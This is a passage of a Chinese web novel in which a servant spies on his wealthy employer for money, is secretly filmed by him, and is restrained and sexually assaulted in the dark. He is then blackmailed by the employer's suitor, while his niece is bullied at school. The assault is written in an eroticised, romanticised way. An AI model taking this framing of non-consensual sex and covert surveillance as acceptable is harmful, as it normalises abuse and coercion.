其实霍先生这个雇主挺好的,姜胥攥着手机,指尖发白,心绪浮动。 可那又怎么样? 他做都已经做了。 上了贼船难道还有下去的那一天?即便是能下去,可要是让雇主知道自己曾经帮着外人递过消息他会放过自己吗? 肯定不会的。 他想永远过富裕的生活,想买房子和媛媛结婚,想过比如今还要好的日子,不想坐牢,不想落魄,不想没钱。 人不为己,天诛地灭。 所以只能抱歉了,霍先生。 眼里的动摇逐渐淡去,姜胥的眼里再次变得坚定,他抿了抿唇,开始思考如何去完成鸭舌帽男这次布置下来的任务了。 姜胥不知道,他这时而纠结、时而坚定的脸色很快就通过微型监视器出现在一墙之隔书房的电脑屏幕上。 电脑屏幕泛着冷光,男人喉结滚动,抬手将杯子里的酒液一饮而尽,酒液划过喉舌,带来一阵凉意。 良久,他指腹落在仰躺在床上的人的面上,缓缓摩擦,良久后,才低声道,“果然是养不熟的白眼狼啊。” 这样也好,圈养起来也不心疼。 这样想着,男人眼里的温和终究还是褪去了,眉眼下压,戾气横生。 …… 鸭舌帽男给的任务不算简单。 是要拍摄一份文件资料。 一般像是重要文件通常只放在书房里,而大平层的书房恰恰就是他不能随意进出的地方,能够进出打扫的只有陈姨。 他当然可以趁着雇主和陈姨不在的时候拍摄,可问题是他不清楚书房里会不会有监控,要是有监控的话他动手肯定会被发现的。 又一天和新朋友下来锻炼。 “你买那么多蜡烛做什么?清明也还没到啊?” “今天搞活动,我买多点寄回老家的,我老家那头总是停电,有时候一停就是停一整天,家里多备点蜡烛会比较方便一些。” 对方解释道。 解释完又有些羡慕地看着盛园里的楼层,“也不知道我什么时候才能住上这种房子,其实也不要那么大,只要在城里就好,只有农村才会三天五天地停电,城里其实几乎是不会断电的。” “那一个房子什么情况下才会没电啊?” “如果不是供电那边的问题的话,那或许就是跳闸了,比如说用超负荷的大功率电器或者用漏电的电器之类的,我租的出租屋里就有一个漏电的电压锅,每一次用都会跳闸,好几百块呢我又舍不得换……” 新朋友显然是学过一段时间电工的,所以对这些情况也还算了解。 大功率电器? 漏电的电器? 姜胥若有所思。 “你能不能借你那个电压锅我用一下,我租的那间出租屋也总是停电……” 趁着雇主和陈姨都不在,姜胥把向朋友借的电压锅带回了自己房间,不过他没有第一时间行动,而是在两天后,趁着陈姨不在的时候他才开始行动。 电压锅煮饭只需要十几分钟,姜胥耐心地等着,想等到电路短路跳闸后再行动,可没想到饭都已经煮好了,还是没有短路。 他没有气馁,犹豫了一下。 又从冰箱里翻出了一块大骨头。 打算炖一锅骨头汤。 骨头汤要想炖地好喝,炖汤的时间要更久,几乎是要半个小时以上,姜胥耐心地等待着,可等啊等,等到汤已经炖成了电路还是没有短路。 姜胥有些无奈。 只好吃了一顿骨头汤泡饭,又把汤里的骨头全部捞出来啃干净,打算着等到明天晚上再继续。 监视器将这一幕完完整整地拍了下来,然后完完整整地呈现在电脑上,屏幕前的男人脸色已经没了之前寒意,俊美的面上的情绪这时候已经接近戏谑了。 作为寸土寸金的高档小区,盛园的电路系统是有物业专门维护过的,要是一个小小的漏电电器就能让房子停电,那么盛园电路维护系统的工作人员也可以辞职走人了。 又过两天,姜胥煮饭熬汤熬粥熬各种东西……到最后什么都不熬纯煮水,折腾了好几天整个屋子的电路都没有短路。 眼看着监控里脾气不太好的白眼狼就要炸毛了,霍延邵眼底笑意渐浓,他笑了笑,慢条斯理地给保镖打去了一个电话。 终于,在姜胥用漏电电压锅熬了整整一个小时后,大平层的电路系统终于短!路!了! 这时候天已经黑了。 整个大平层一片漆黑。 10. 豪门契约文里的白眼狼老男人佣人10 看到房间的灯终于暗了下去,姜胥这才缓缓松了口气,他简单地收拾了一下房间里的残局,然后轻手轻脚地就出了房间,悄无声息地就进了雇主的书房。 没有灯,唯一的光亮就是手机上的手电筒,姜胥几步就来到雇主日常处理工作的书桌前,一手拿着手机一手不断地在堆叠的文件里翻找。 文件有些多,翻了很久也没有翻到鸭舌帽男提到的那一份,眼看着时间一点点过去,姜胥有些急了,咬着手机双手齐上,手上的动作也开始急躁了起来,文件被翻地到处都是。 书房里的钟滴答滴答地走着。 呼吸逐渐急促,额头也沁出了紧张的汗渍,姜胥几乎全身心都放在翻找文件上,完全并没有察觉到书房外传来的细微动静。 因为停电而已经停止运作的大门被悄无声息地打开了,黑暗中,一个高大的身影从屋外进来,他步履闲适,行至书房外,同样是悄无声息地打开了门进去。 这时候,姜胥终于找到了那份文件了,他心里一喜,在翻看了几页确定无误后,连忙翻开文件对着文件连拍了几张,随后将几张图直接发了出去。 图片成功发送。 等了一会儿,那边终于发来了反馈。 就是这份,拍对了。 姜胥彻底松了口气,紧接着就是一阵狂喜,这一次的文件应该是比较重要,所以那边给的酬劳是两百万,就这么十几分钟,两百万彻底到手了。 他开始收拾残局。 原本干净整洁的办公桌上已经是一片杂乱,这时候他也顾不上欣喜,又把翻开的文件一本一本地收拾好,等办公桌再次恢复成原来的整洁后,他才转身想要出去。 书房房门已经打开,只要走出书房,这次的任务就算完成了,姜胥攥紧手机,想到即将到手的两百万,他黑暗中的脸忍不住扬起一抹笑意。 可下一刻,笑容就僵在了脸上。 腰上不知道被从哪里伸出的手紧紧禁锢着,姜胥眼睫颤颤,下意识就想喊出声,可比他声音更快的是一个炙热的大掌,大掌覆在他的唇上,将他所有的惊呼都堵在了嘴里。 砰! 姜胥眼睛瞪大。 伴随着剧烈撞击声,书房那做工精致的木质房门被关上了,一阵天旋地转,姜胥整个人被捂住嘴俯倒地压在了办公桌上。 办公桌上整齐堆叠的文件散落一地,他整个人趴在办公桌上,紧接着,一个火热的身体覆了上来,宛如双生一般将他死死地压在身下,让他怎么也动弹不得。 眼前一片无尽的漆黑,察觉到身后传来的沉重的呼吸声,姜胥眼睛睁大,嘴唇发颤,只觉得毛骨悚然 他急切地想要说些什么,可在剧烈的恐惧下,喉咙里像是被塞满了浸水的棉花,什么话也说不出来。 是谁? 是雇主吗? 还是说是其他人? 心间盈满的恐惧让他呼吸一点点急促起来,姜胥大脑一片混乱,那点唯一一点的理智在察觉到那不断地在自己身上游走的手后,脊背生寒,彻底崩溃。 “呜呜呜……” 他剧烈地挣扎着,想要让自己逃离那指腹上的热意,可双腿被更粗的双腿紧紧夹着,双手被交缠束缚在身后,所有的挣扎都像蚍蜉撼树一般起不了一丝一毫的作用。 指尖在男佣人白皙的躯体上移动,男人低低笑了一声,声音低哑,他对他的呜咽声置若罔闻,指腹逐渐深入,享受着盈于指腹上那宛如白瓷一样温润细腻的触感。 脸,唇,脖颈,腰,腿……陌生的灼热触感在身上不断地在蔓延,姜胥整个人都要疯了,只觉得自己整个身体都成了身后人的玩具,由地对方随意亵玩戏弄。 像是摸够了,手离开了身体。 可随之而来的却是更加湿润粘腻的的感觉,温热,湿润,粘腻……从脸颊到后颈一路沿下,伴随着还有身上衣服被褪去的清凉感,一件接一件的衣物落地,交缠着落在了布满文件的地面上。 姜胥趴在办公桌上,指尖将一个文件掐成一团,他依旧想反抗,可被反手压着怎么也使不上劲。 脑子已经混沌一片,眼神逐渐绝望,只能眼睁睁地看着自己被褪去全身的衣服……不知道这样过了多久,身后滚烫的身躯才离开 最后身上只留下一件衬衣,没有穿裤子,然后嘴巴双脚双腿被绳子绑着,整个人像是罪犯一样被迫蜷缩在书房的一角。 不知道过了多久。 门才终于被打开,又被阖上。 他终于走。 这个恶毒的人终于走了。 犹如一道光亮彻底破开混沌,姜胥迷蒙的双眼逐渐开始聚焦。 他被泪水浸透的眼睫颤颤发着抖,嘴唇发颤,鼓起勇气抬头环视了一圈四周,在确定书房里没有任何一个高大的男性身影后,他才彻底松了口气。 他全身发软,整个人无力地蜷缩着,不知道等了多久,等到身上终于恢复了些许力气后,他才动了动手,又动了动脚,试图让自己不那么狼狈,体面地站起来。 他试了好多次,才勉强从蜷缩着躺着的姿势跪坐了起来。 手脚被绑住,嘴也说不出话,姜胥试图先将自己的手给解放出来,可绕了好几圈的绳子捆地太过结实,努力了半个小时还是没能把手上的绳子给结掉。 没办法,他只能放弃这个想法。 雇主陈姨这个时候还没回来,书房外没有其他人,姜胥也没办法向别人求助,只能他不断地想着各种方法,生怕刚刚那个人又重新回到书房里。 想了很久,很快注意到面前还亮着手电筒的手机,忙蹦了几步,弯腰试图用下颚将手机移动到自己面前。 点开了手机,他没有丝毫犹豫,让手机管家直接拨了陈姨的号码,可还不等陈姨那边接通,书房霎时明亮了起来,紧接着,房门被推开。 姜胥心一跳,心惊胆战地看着来人,直到看到西装革履显然是才从外头回家的雇主后,他眼里划过一丝狂喜,紧接着就是热泪盈眶。 “呜呜呜……” 霍延邵走进书房,像是被眼前被绑住的佣人吓了一跳,他眼底掠过一丝惊诧,随后立即给保镖打了个电话。 等到确定书房里没有其他危险后,他才几步上前帮被捆住的男佣人解掉身上的绳子。 “先生,先生,有绑匪……” 终于有人回来了。 心里压抑的恐惧、委屈、愤怒等情绪如同洪流决堤一般宣泄而出,姜胥脸色泛白,眸光残留着惊惧,死死地咬着唇,眼眶里的泪水止不住地往下掉。 他身上只穿着一件白衬衣。 衬衣像是只是被人随意地套在身上,领口的扣子没有系上,就这么肆意地敞着,露出了整截白皙精致的锁骨和纤细的脖颈,甚至只需微微垂眼,就能将领口下的风景尽收眼底。 白衬衣下摆堪堪只遮过了屁.股,两条笔直纤细的长腿无力地交叠蜷缩着,白皙细腻的肌肤上点缀着一抹抹的红痕,精致的脚腕处还有被绳索捆绑出来的痕迹,看起来分外色.情。 眼睫濡湿,泪水涟涟。 可怜,又可爱。 霍延邵眸光掠过这具诱人的躯体,很好地将眼底的灼热隐藏住。 他半蹲在男佣人面前,手放在惊惧交加的男人背上,努力安抚着这个可怜佣人的情绪,远远看去,像是将对方整个人拥进了怀里。 同样已经赶回来的陈姨看着这一幕,眉头皱起,看着脸色如常的雇主霍先生,最后也只是无声地叹了口气。 …… 市中心高级小区里出现了这么恶劣的事件,当然是要报警的,作为这件事件的亲历着,姜胥理所应当地被警察提去问话了。 “我当时还在房间里,灯突然就黑掉了,意识到停电了我就从房间里出来了,然后就被人给挟持住,带到了书房……” “没有灯,我看不清那个人的脸,应该比我高很多,进书房后他就在书房里不断地翻找着,我也不知道他要找什么……” “我被捂住眼睛,什么都没看见,他走的时候就把我给绑住了,我本来是想报警的,但那时候我雇主就已经回来了,所以也没顾得上……” “……” 面对警察的询问,姜胥心里紧张。 他指尖陷着手心,努力压下心底的慌色,说出的话语无伦次,也亦真亦假,试图不动声色地将所有事都推到那个不知名的匪徒身上。 停电是对方搞出来的,偷拍文件也是对方搞出来的……这一切都是昨晚那个匪徒做的。 询问的警察见他目光闪躲,言辞闪烁,显然还隐瞒着一些其他的什么事,可他们看了眼从警局那边发过来的消息,对视了一眼,没有继续深究下去。 等一切处理完,已经很晚了。 情绪起伏再加上被警察询问时的高强度精神压力,姜胥已经筋疲力竭,他味同嚼蜡地吃了晚餐,直接回了房间。 回到房间,他无力地躺在床上。 疲倦袭开,眼皮控制不住地下垂。 可一闭上眼,那种熟悉的灼热感再次袭来,姜胥咬着下唇,恍惚间只觉得自己再次落在了那个人手里,后颈处宛如蚂蟥一般的粘腻触感挥之不去,让人毛骨悚然。 猛地睁开双眼,房间的明亮终于驱散了惶然,姜胥脸色有些苍白,垂头看了眼自己身上已经穿得整齐的衣物,只觉得一股子恶心从喉咙间不断地向上涌。 洗澡。 再洗一次澡就好了。 姜胥喃喃自语。 从衣柜里随手拿出一套衣服,再次一头扎进了浴室,热水量开到了最大,很快就盛满了整个浴缸。 姜胥以前从来没用过浴缸洗澡,所以这段时间一直用淋浴,可他觉得这次身上真的有些脏了,他想用浴缸好好地泡一泡,洗一洗。 他在浴缸里泡了好久。 皮肤已经被搓得发红了 也泡得发皱了。 等到浴缸里的水彻底凉了下来后,他才依依不舍地从浴缸里出来,又将自己裹得严严实实,然后蜷缩在床上沉沉睡去。 深夜,房间里的呼吸声从杂乱到整齐有序,昭示着房间的主人已经沉睡了过去。 锁着的门被悄无声息地推开了。 霍延邵走进房间。 他看着床上睡地有些不太安宁的男人,眉目不动,只静静地看着,落在对方身上的眸光却沉地像一片深海,像是蕴藏着无尽的风暴。 时间一点点过去。 睡梦中的人似乎也能察觉到那簇沉得骇人的目光,本就睡得不太安宁的人眉头缓缓簇起,整个人动了动,把身上的被子裹地更紧了。 霍延邵收回目光。 几步来到床前,伸手放在姜胥的额头上探了探,在察觉到体温正常后才转身离开了房间。 …… 搬来盛园,阮栀本意是想着能够近水楼台先得月,可没想到盛园的安保管理太过严格,一连两个多月,自己都没有在盛园见过霍延邵一面。 想着因为一直没有得到霍家确切联姻消息而步步紧逼的父母,还有圈里那些态度逐渐敷衍的朋友,阮栀难免也有些急躁了起来。 为了平复一下情绪,她约了几个关系比较好的朋友一起出去玩,却没想到从朋友那里得到了一个晴天霹雳的消息。 “怎么可能?霍延邵怎么可能会喜欢男的?”听了这话,阮栀第一反应就是不相信,言语里尽是反感,“你是听谁说的霍延邵喜欢男的?他才不会做这么恶心的事呢。” 虽然同性恋爱法已经通过有十几年了,可同性恋在这个圈子里依旧是默认不入流的,权贵公子哥里头当然也有不少包养男性恋人的,可大部分都是私底下,很少有人把男性恋人放到明面上的。 “圈里就这么传的啊,好像是从之前樽誉的一个局里传出来的,那是宋家那位的一个接风洗尘局,说的头头是道,我觉得还挺有道理的。” 阮栀抿紧唇,还是不信。 “其实是不是也不要紧吧。” 一个朋友反应过来,瞅了眼阮栀难看的脸色,后知后觉地找补。 “管他喜欢男的女的,霍家总不能真的娶个男的做主母吧,就算三爷同意,霍家那位老爷子也不能同意吧,而且这些都是小道消息,传着传着就成造谣了,也不可信……” “是啊,小道消息就是这样,怎么炸裂怎么来,三爷看起来怎么都不像是喜欢男的……” 其他人同样反应过来,不断找补。 这些安抚让阮栀勉强勾起唇,可一想到霍延邵有可能喜欢男的,她脸色还是不怎么好。 这场聚会很快就散了。 回家的路上,又接到了侄女学校打来的电话,阮栀心里有些烦躁,却还是忍着不耐赶去了学校。 一进门,她脸上就挂着无可挑剔的笑,耐心地听着老师说着经过,听完后,她眉头拧起,看向办公室里的另外一位女同学,语气客气。 “这位姜同学,你好。” “我是阮知意的姑姑,刚刚已经听老师说了,弄坏了你的书的是另外几个同学,应该和知意霍邱两人没有太多关系。” 姜珊珊嘴唇微微发白,手里攥着被泼了墨水的书,小声地反驳道,“那几个是阮知意和霍邱的狗腿子,他们是为了霍邱还有阮知意才来找我麻烦的。” “所以同学你有具体证据证明吗?” 姜珊珊没说话。 “既然没有证据,那就不能证明是他们两个指使的。”阮栀的语气依旧温和,“毕竟不是每个人被欺负都是别人的原因,有些人天生长得不好惹人嫌也不一定,所以有时候可以在自己身上找找原因。” 这话里潜藏的鄙薄像一根尖锐的刺一般扎进心里,姜珊珊攥紧手,喉咙像是被一团湿棉絮给堵住,一时间,竟不知该怎么回答。 办公室里的班级老师见状,忙开口打圆场,“既然是误会解释清楚就可以了,没必要闹起来……” 阮栀笑了笑,“没什么误会的,既然这位同学觉得是知意的原因,那我就代知意赔吧,我会给你赔一套新的书,这件事就到此为止吧。” 说完,就带着阮知意转身离开,而同样在办公室里一直没有出声的霍邱淡淡地瞥了眼姜珊珊,也跟了上去。 姜珊珊忍着委屈,回到了宿舍后,才躲在被子里哭了起来,同宿舍的几个舍友听到后,互相对视了一眼,也不知该怎么安慰。 像是要彻底发泄这一个月来的委屈一样,姜珊珊哭了很久,哭得眼睛都肿了起来,才呆呆地看着床帐,没有继续哭下去。 怎么就变成这样了呢? 姜珊珊有些想不明白。 明明开学那时候还挺好的,虽然成绩不算太好,但努力了一段时间后也勉强赶上了。虽然是半路转学,可在班上也有几个好朋友。小叔给她买了好多衣服买了新手机,她也一直很开心……明明一开始一切都很好。 后来,学校里关于自己的流言越来越多,那些明里暗里的目光刺得人生疼; 吃饭的时候总有人不小心地撞上来,把自己的饭撞地满身都是,然后再居高临下地像是打赏乞丐一样丢下几十块钱当补偿; 老师新发下来的资料和试卷总会莫名其妙被泼上墨水,反映了老师查了监控却也还是一而再,再而三,始作俑者甚至连一句轻飘飘的对不起都没有; 那些若有若无的排挤,明目张胆的讨论,光明正大的针对……姜胥拿出手机,指尖停留在小叔的号码上,她迟疑了许久,最后还是没有按下这个电话。 其实她想说的有很多。 想说自己不想在这个学校读书了,想说他们都欺负自己,想说想要转回原来的学校读书……可一想到小叔还在努力工作,想到自己这个名额的来之不易,她就什么都说不出口了。 抹干眼泪,姜珊珊爬起床,翻开了明天要上课的内容,开始预习。 另一边,微笑着告别了霍邱,阮知意上了自家姑姑的车,阮栀淡淡地扫了她一眼,语气莫名,“那个同学得罪你了?为什么针对她?” 阮知意不以为意,“不是我针对他,是霍邱不喜欢她,想要把人逼出英和。” “她爸妈前几个月死了,现在只跟着叔叔生活,欸,姑姑你知道吗?她是半路转学过来的,叔叔是霍邱家的佣人,我觉得可能是通过霍家的那些资金会捐赠上学的。” “我和霍邱说她可能是他三叔派来监视他的,那个蠢货居然信了,每天都想着怎么把人给逼出英和,真的是笑死我了哈哈哈哈……” 姓姜,有个叔叔在霍家工作,不会这么巧吧……想到自己手机里的那个姜胥,阮栀心下一动,看向侄女,若有所思。 “她那个姓姜的叔叔我认识,他对我还有用,接下来这段时间你先找其他的事做,不要继续下去了。” “啊,这样啊,好吧。”阮知有些不满意,但看着姑姑严厉的神色,还是点头答应了下来,又问,“那霍邱呢?” “霍邱的话能拦得住就拦,拦不住就算了,没关系,只要你不动手就好。” “好,我知道了姑姑。” 明白姑姑最近一直在谋求霍家主母的位置,阮知意干脆地应下,等车停下后直接开门下了车。 这时候,车上只有阮栀一个人。 她还在思考着着侄女刚刚说的话。 “……她是半路转学过来的,叔叔是霍邱家的佣人,可能是通过霍家的那些资金会捐赠上学的……” 想起了什么,阮栀眼神稍定。 她打出了一个电话,“麻烦帮我查一下这个人这几个月来的银行流水情况……” 又过了几天,姜胥收到了一条消息。 阮小姐:“姜先生,你好,有时间可以见一面吗?老爷子让我带点东西给霍先生。” 看到手机上的消息,姜胥有些意外,但还是应下了,约了个中午比较空闲的时间段。 “阮小姐。” 看到姜胥,阮栀脸上挂着笑,很是和煦热情,“想要什么喝的吗?我给你点一杯吧?” “不用了阮小姐,我不怎么习惯喝咖啡,楼上还有事,你把东西直接给我就好,今晚我会直接交给霍先生的。” 姜胥拒绝了阮栀的好意。 无论喝多少次他都不习惯咖啡的味道,而且每次陪媛媛喝咖啡晚上他一定会失眠,后来就算是约会他也只是看着媛媛喝,自己不喝。 阮栀笑了笑,没有坚持。 她缓缓将手里的文件袋推了过去,然后端起自己面前的咖啡喝了一口,语气不急不缓。 “不急,喝不惯咖啡也可以喝其他的,我让人给你上一杯冰镇果汁,姜先生,你可以先坐着看一看这个。” 阮栀这样的姿态让姜胥有种莫名的不安,他看着被推到自己面前的文件袋,又看了眼笑意如常的阮小姐,最后还是伸手打开了文件袋。 文件袋很薄,只装着几张纸,姜胥一一将这几张纸翻开,看着上面被特意标红的非正常收入,瞳孔骤缩,心缓缓沉了下去。 看着对方脸上逐渐变了的脸色,阮栀脸上的笑意更深了,她笑得意味深长,“姜先生应该看得明白吧。” 姜胥没说话。 只是手将文件捏地发皱。 阮栀也不在意。 “霍家佣人的工资待遇的确不错,可也不可能一个月就有五十多万的收入,我看了姜先生这几个月的银行流水,几乎是每隔一段时间就有一个五十万进账,甚至有时是一百万。” “所以我很好奇。”阮栀放下手里的咖啡,“……这一连好几个五十万进账是怎么来的,还有姜先生是怎么把侄女送进英和的?” “能给我说说吗?姜先生。” 姜胥脸上已经彻底没了血色,他扯了扯唇,想要勉强勾起一个笑,可脸上的肌肉像是彻底失去了控制一般,怎么也笑不出来。 阮栀站了起来。 脸上依旧带着笑,只是笑容里不再是之前见到过的温柔随和,反而是带着居高临下的倨傲,“放宽心姜先生,我既然来找你就意味着我并没有拆穿你的打算。” “一家是赚,两家也是赚,你既然是为了钱能帮别人递霍延邵的消息,怎么就不能为了钱帮我递霍延邵的消息呢?放心,我也不会亏待你的。” 她语气顿了顿,话里带着说不出的冷意。 “当然,你要是不愿意也没关系,只不过到时候这份流水恐怕就会出现在霍延邵的办公桌上……要真的到了那个时候,你的下场恐怕就不会太好了。” “仔细想想吧,你哥嫂都已经去世了,要是你也进去了,那么你那个才读高一的小侄女下场恐怕也不会好。” …… 又是一周的周末,姜胥再次和雇主请了假,不过这次不是为了和心心念念女友的约会,而是打算回出租屋一趟。 自从在盛园的工作稳定下来后,姜胥也从京郊的出租屋搬到了距离盛园更近的一个出租屋,虽然房租的价格上去了,可从这里无论是去英和还是去盛园都很方便,有专门的物业管理,也更加安全。 “小叔。”
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她当然是想的。 当初出来也是因为小叔在老家一直没有找到一份薪水满意的工作,想着在外面可以闯一闯赚大钱,既然小叔这么快就已经赚了大钱,那回去也正好。 “我想回去,我想爸爸妈妈他们了。” 她爸爸妈妈在老家。 老家才是她的家。 这里不是。 “那过年我们就回去吧。” 姜胥努力压下心底那点莫名的不安,直接了当地做下了决定。 有了决定,姜胥也开始行动了起来,他不再畏首畏尾,开始频繁地向鸭舌帽和阮栀这两人提供着他们想要的消息,从他们手里赚钱一笔又一笔的钱。 卡里的钱很快就积攒到了一个在姜胥看来恐怖的数值,虽然不够在京都买一个像盛园这样的大平层,但也足够买下一间普通的二居室的房子了。 只是在决定过年回家后,姜胥就不怎么关注京都的一些楼房信息了,这天他又请了个假,想要趁着和女朋友约会的时候说清楚。 “你不打算留在这里?” “我还是想回家。”姜胥笑笑,语气带着歉意,毕竟他之前还信誓旦旦地说自己一定会在这个城市买了房子娶女朋友的,“很抱歉,我可能不能遵循你的意愿留在这座城市了。” “所以你这是要和我分手吗?” 许媛反问道。 “分不分手这个看你,如果你想分手的话,我不会有意见。”姜胥坦言,他在别的方面圆滑浮躁,可对待感情还是很认真的。 这毕竟是他交往的第一个女朋友,他心里还是很喜欢的,所以虽然嘴上一直说得洒脱,但心里还是极为不舍的,可毕竟他都已经决定过年时候要回去了,也不好耽误人家女孩子。 “那就先不分吧。距离过年还有两个月,到时候要是你或我都没有改变主意,我们再分手也不迟。”许媛笑了笑,缓缓地说出了自己的想法。 姜胥心里高兴,也答应了。 …… 靠近新历年,鸭舌帽男的联系逐渐少了起来,姜胥起初还有些在意,之后就不怎么在意了,甚至还希望对方永远都不要想起自己。 少了鸭舌帽男这边的应付,姜胥几乎大部分精力都放在盛园的工作以及应付那位阮小姐的吩咐上。 和鸭舌帽男不同,阮小姐要递的消息也相对比较轻松,只是每隔一段时间回复一下雇主霍先生身边有没有出现疑似交往过密的男男女女,有的话拍下照发给她,除此之外,还有雇主每天出门的时间。 ……说实话,这些真的很简单。 也是这个时候,姜胥才意识到,这位阮小姐原来是自己雇主霍先生的追求者,他其实不明白阮小姐让他发的这些有什么用,可为了那些钱他还是兢兢业业地发了好几次。 新历年前一天,老宅举行家宴。 按理说只是一个家宴,而庄园里人手也足够,和姜胥其实没有多大关系的,可偏偏一大早姜胥就收到了管家让他过去的消息,所以到了晚上,他也和雇主一样过去。 雇主在盛园有专属于自己的私人车库,看到雇主上了最前面的那辆黑色轿车,姜胥也跟着想和保镖们挤一挤,上同一辆车过去。 可打开车门,就被里头的景象惊住了,轿车拢共就四个座位,四个高头大马的面容肃穆地端座着,没有任何一个保镖想着给自己让一让的。 姜胥有些尴尬,指了指后座座位两侧,小声道,“两位哥,麻烦能不能让一让,给我让一个位置。” 四个保镖不为所动。 姜胥更尴尬了。 他抿了抿唇,觉得自己遭受了网上说的职场霸凌了,也知道他们不会给自己让位置,拿出手机准备自己打一辆车过去,可才低头就听到从后面传来的声音。 “姜先生,去前面坐吧” 说话的是人很熟悉,他在老宅和盛园都见到过几次,是雇主身边跟着的助理,姜胥点点头,来到了前车。 正想打开副驾驶的门,却见那个助理已经打开副驾驶门坐了进去,姜胥手上的动作停顿了一下,还是顺势打开后座的车门,坐了进去。 “先生。” 姜胥微微点头,姿态恭敬。 霍延诏点点头,没说话。 姜胥松了口气,正襟危坐。 虽然已经在盛园工作有一段时间了,可无论什么时候面对这位雇主他都会觉得紧张,明明是个看起来年纪比自己小的青年,可那一身的气势重地吓人。 虽然偶尔心里会吐槽,可每次面对对方的时候总是会不自觉地拿出自己最为恭敬的姿态。 姜胥正襟危坐,不敢转头,完全没有注意到身旁的男人指尖正懒散地抵着头,那双似笑非笑的眸光径直地落在自己身上,久久不曾移动。 “这段时间在盛园觉得怎么样,还适应吗?”懒散的声音在车厢里响起,前头的助理透过后视镜快速地瞥了眼身后,紧接着就垂下了头。 安静了一会儿,姜胥后知后觉才意识到雇主是在问自己,他点点头,语气谨慎,“还可以,还挺适应的。” 霍延诏点点头,随意问了句,“你这段时间做的都不错,陈姨也夸了好几次,说让我给你涨涨待遇,你有什么要求吗?” 要求? 这个还真有。 姜胥转过头看向雇主,那双稍显精明的眼睛亮了亮,“先生,我想问一下我每个月的假期能不能多一些,一个月只休息一两天我个人认为有点少了。” 霍延邵笑意淡了几分,“你侄女不是一个月才放一次假吗?你每个月要这么多假期做什么?” 姜胥有些不太好意思,但还是直说,“先生,我除了侄女也还有女朋友啊,女朋友才交往没多久,正是要培养感情的时候,所以才想多点时间多和女友交流一下感情。” 没有注意到前头助理猛然垂下的头,虽然说起女朋友姜胥有些斯斯艾艾,有些羞涩,但他还是希望接下来的两个月里他能多一点假期。 毕竟他过年就要离开这座城市了,剩下的两个月里,他还是想多一点时间和女朋友好好相处。 女朋友,女朋友,又是女朋友。 霍延邵望着男人那双晶亮的眼,有些啼笑皆非,觉得或许要被自己按着做死在床上了,他才会不提他那碍眼的女朋友。 他闭上了眼,没再说话。 这是什么意思? 这是答应还是不答应啊? 姜胥有些懵住了。 看了看自己雇主,又看了眼前头的助理,还不等他眼神询问雇主这是什么意思,助理就若无其事地移开了目光。 被无视了。 姜胥只能干笑了一下,然后尴尬地垂下头。 从盛园到老宅几乎是一个小时的车程,到了的时候,已经下午的五点钟了,天也彻底暗了下来。 整个庄园灯火通明,像极了举办宴会那一晚的气氛,但来来往往的佣人神情严肃,不苟言笑,却比宴会时的气氛更加肃穆了几分。 才一踏入庄园,姜胥下意识地收起了笑容,学着来来往往的佣人那样神情严肃,不苟言笑,然后跟着自家雇主来到了主楼一楼的餐厅。 11. 豪门契约文里的白眼狼老男人佣人11 霍家是个大家族,子孙后代算得上是枝繁叶茂,主支旁支加起来有上几千人,这次能出席家宴的除了主支还有一些关系比较近的旁系。 一年一家宴这个规矩是从霍老爷子上几辈就定下了的,美其名曰是为了联络感情,而收到从主宅发出的邀请后,除非特殊情况,否则无论是主支还是旁系的子弟都要在规定的时间抵达老宅。 霍延邵进了餐厅,餐桌上,无论男女老少,都下意识地起身唤了一声,“家主。” 霍延邵颔首,来到主位落坐,跟着进来的姜胥看着里头没有一个佣人守着的餐厅,脚步缓了缓,随后悄无声息地退了出去。 霍延邵看了一眼,没说什么。 姜胥在餐厅外守着,和他一起的还有雇主的助理,虽然不太明白出席一场家宴为什么雇主还要带个助理,但秉承着打工人惺惺相惜的想法,姜胥还是对着助理友好地笑了笑。 对此,助理只是礼貌颔了颔首。 站在餐厅外,不断地有各种菜式从厨房端进餐厅,姜胥闻着空气中的香味,也觉得有些饿了,他接到管家的电话就过来了,还没有吃晚饭。 “小姜,你带着刘助理去吃晚饭吧。”林管家从里面出来,温和地道。 姜胥眼睛亮了亮,立即点头,就想带着刘助理离开,可还没等他们离开主楼,远远的就注意到有几个人正从外面进来。 走在最中间的老爷子两鬓斑白,虽然驻着拐杖可走得却利落,旁边还有个年轻女人搀着,后面则跟着几个佣人装扮的人。 姜胥心里有种不好的预感。 中间的老头他不认识,可旁边搀人的那位他认识啊,不就是自己暗地里出卖自家雇主各种个人信息的对象吗?对方这是要和自己雇主碰面了? 心虚袭上心头,姜胥眼神飘了飘,脚下的步伐缓缓慢了下来,一旁的刘助理似乎没有注意到他的异样,他也同样停下了脚步,脸上流露出几分可惜。 “姜先生,你先去用餐吧,我可能还有一些工作要处理。”说着,他歉意地点点头,就朝着餐厅的方向走去。 姜胥脚步同样停了下来。 他犹豫了一下,也跟着进去了。 餐厅里。 霍老爷子的出现显然让其他人有些惊讶,坐着的人纷纷站起身,霍延邵眼睛微眯,视线略过一旁的阮栀,起身扶过霍老爷子。 霍老爷子在主位坐下,霍延邵脸色不变,坐在了老爷子下首左侧的一个位置,他身边坐着的是霍延仲。 所有人都落座了,阮栀这个站着的人就有些明显了,她垂了垂脸,脸上似有些尴尬。 “都是一家人,栀栀你坐下吧。”霍老爷子面色慈和,“老二,起来让个位置。” 一家人,谁和谁一家人? 餐桌上其他人互视了一眼,目光悄然投向霍延邵,霍延邵嘴角噙着笑,眸色平静,像是完全没有注意到老爷子话里的深意。 “爸说得对,一家人就应该坐一起。”霍延仲笑了笑,起身让位,阮栀对着他礼貌地笑了笑,随后在霍延邵身旁的位置坐下。 看着坐在一起的两人,霍老爷子满意地点点头,他看向霍延邵,脸上带着欣慰,“阿诏年纪也不小了,有些事也应该办起来了,看到你成家,爸才放心。” “爸说得对,咱们这么几个就只有你和阿季还没有结婚了,小邱都这么大了,我也有孩子了,阿邵也的确应该抓点紧了。”霍延仲笑着接话。 他笑呵呵,可餐桌上听到他提起霍延季的那些人可笑不出来,基本都是霍家权力核心圈的,自然也是清楚几个月前的那一场“夺权”大戏了。 就连霍老爷子脸色都淡了下去。 这么多人,也只有霍延邵脸色没有丝毫变化,反而是眉骨轻挑,看向老爷子,露出了一丝笑意,“说起阿季,爸,我正好有些事和你商量一下。” 说着,看了眼身后的助理。 刘助理躬了躬身,从文件包里拿出了一份文件递给了霍延邵,霍延邵打开文件随意扫了眼,然后递到霍老爷子面前。 霍老爷子看着自己面前的文件,心里有股不好的预感,他看了眼霍延邵,眸色沉沉,还是接过文件打开。 